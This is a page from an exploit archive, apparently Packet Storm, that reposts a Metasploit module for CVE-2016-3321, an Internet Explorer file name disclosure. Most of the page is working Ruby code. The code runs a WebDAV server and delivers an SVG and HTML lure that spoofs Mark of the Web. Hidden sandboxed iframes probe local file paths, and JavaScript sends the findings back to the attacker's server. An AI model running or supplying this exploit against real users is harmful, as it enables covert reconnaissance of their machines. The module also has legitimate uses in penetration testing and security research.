exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Internet Explorer Iframe Sandbox File Name Disclosure

Internet Explorer Iframe Sandbox File Name Disclosure
Posted Aug 31, 2024
Authored by Yorick Koster | Site metasploit.com

It was found that Internet Explorer allows the disclosure of local file names. This issue exists due to the fact that Internet Explorer behaves different for file:// URLs pointing to existing and non-existent files. When used in combination with HTML5 sandbox iframes it is possible to use this behavior to find out if a local file exists. This technique only works on Internet Explorer 10 and 11 since these support the HTML5 sandbox. Also it is not possible to do this from a regular website as file:// URLs are blocked all together. The attack must be performed locally (works with Internet zone Mark of the Web) or from a share.

tags | exploit, web, local
advisories | CVE-2016-3321
SHA-256 | 0b30e1f06e794629552d9172732b96c2d1cf6a789686d06961747f044e43ffcb

Internet Explorer Iframe Sandbox File Name Disclosure

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info={})
super(update_info(info,
'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',
'Description' => %q{
It was found that Internet Explorer allows the disclosure of local file names.
This issue exists due to the fact that Internet Explorer behaves different for
file:// URLs pointing to existing and non-existent files. When used in
combination with HTML5 sandbox iframes it is possible to use this behavior to
find out if a local file exists. This technique only works on Internet Explorer
10 & 11 since these support the HTML5 sandbox. Also it is not possible to do
this from a regular website as file:// URLs are blocked all together. The attack
must be performed locally (works with Internet zone Mark of the Web) or from a
share.
},
'License' => MSF_LICENSE,
'Author' => 'Yorick Koster',
'References' =>
[
['CVE', '2016-3321'],
['MSB', 'MS16-095'],
['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],
],
'Platform' => 'win',
'DisclosureDate' => '2016-08-09'
))

register_options(
[
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),
OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),
])

# no SSL
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH')
end

def js
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

%Q|function report() {
if(window.location.protocol != 'file:') {
try {
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
} catch (e) { }
return;
}

var frames = document.getElementsByTagName('iframe');
for(var i = 0; i < frames.length; i++) {
try {
if(frames[i].name == 'notfound') {
frames[i].src = 'https://#{my_host}/notfound/?f=' + frames[i].src;
}
else {
frames[i].src = 'https://#{my_host}/found/?f=' + frames[i].src;
}
} catch(e) { }
}
}|
end

def html
frames = ""
datastore['PATHS'].split(',').each do |path|
frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"
end

%Q|<!DOCTYPE html>
<html>
<head>
<script type="text/javascript">
#{js}
</script>
</head>
<body>
#{frames}
<script type="text/javascript">
setTimeout('report();', 2000);
</script>
</body>
</html>|
end

def svg
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

%Q|<!-- saved from url=(0014)about:internet -->
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="https://www.w3.org/2000/svg"></svg>|
end

def is_target_suitable?(user_agent)
if user_agent =~ /^Microsoft-WebDAV-MiniRedir/
return true
end

info = fingerprint_user_agent(user_agent)
if info[:ua_name] == HttpClients::IE
return true
end

false
end

def on_request_uri(cli, request)
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

case request.method
when 'OPTIONS'
process_options(cli, request)
when 'PROPFIND'
process_propfind(cli, request)
when 'GET'
unless is_target_suitable?(request.headers['User-Agent'])
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")
resp = create_response(200, "OK")
resp.body = svg
resp['Content-Type'] = 'image/svg+xml'
resp['Content-Disposition'] = 'attachment;filename=image.svg'
cli.send_response(resp)
end

case request.uri
when /^\/found\/\?f=/
f = URI.decode_www_form(request.uri.split("/found/?").last).assoc('f').last
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
print_good("Found file " + f)
send_response(cli, '')
when /^\/notfound\/\?f=/
f = URI.decode_www_form(request.uri.split("/notfound/?").last).assoc('f').last
print_error("The file " + f + " does not exist")
send_response(cli, '')
when "/"
resp = create_response(200, "OK")
resp.body = %Q|<html>
<head>
<script type="text/javascript">
try {
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
} catch (e) {
blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);
window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
}
</script>
</head>
<body>
</body>
</html>|

resp['Content-Type'] = 'text/html'
cli.send_response(resp)
else
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")
send_response(cli, html)
end
else
print_status("#{request.method} #{request.uri} => 404")
resp = create_response(404, "Not Found")
resp.body = ""
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
end
end

#
# OPTIONS requests sent by the WebDav Mini-Redirector
#
def process_options(cli, request)
print_status("OPTIONS #{request.uri}")
headers = {
'MS-Author-Via' => 'DAV',
'DASL' => '<DAV:sql>',
'DAV' => '1, 2',
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
'Cache-Control' => 'private'
}

resp = create_response(207, "Multi-Status")
headers.each_pair {|k,v| resp[k] = v }
resp.body = ""
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end

#
# PROPFIND requests sent by the WebDav Mini-Redirector
#
def process_propfind(cli, request)
path = request.uri
print_status("PROPFIND #{path}")
body = ''

my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
my_uri = "https://#{my_host}/"

if path !~ /\/$/

if path.index(".")
print_status "PROPFIND => 207 File (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="https://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
return
else
print_status "PROPFIND => 301 (#{path})"
resp = create_response(301, "Moved")
resp["Location"] = path + "/"
resp['Content-Type'] = 'text/html'
cli.send_response(resp)
return
end
end

print_status "PROPFIND => 207 Directory (#{path})"
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="https://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|

if request["Depth"].to_i > 0
trail = path.split("/")
trail.shift
case trail.length
when 0
body << generate_shares(path)
when 1
body << generate_files(path)
end
else
print_status "PROPFIND => 207 Top-Level Directory"
end

body << "</D:multistatus>"

body.gsub!(/\t/, '')

# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end

def generate_shares(path)
share_name = datastore['SHARENAME']
%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="https://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end

def generate_files(path)
trail = path.split("/")
return "" if trail.length < 2

%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="https://apache.org/dav/props/">
<D:href>#{path}index.html</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
end

def gen_timestamp(ttype=nil)
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
end

def gen_datestamp(ttype=nil)
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
end

def run
datastore['URIPATH'] = '/'
datastore['SRVPORT'] = 80
exploit
end
end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close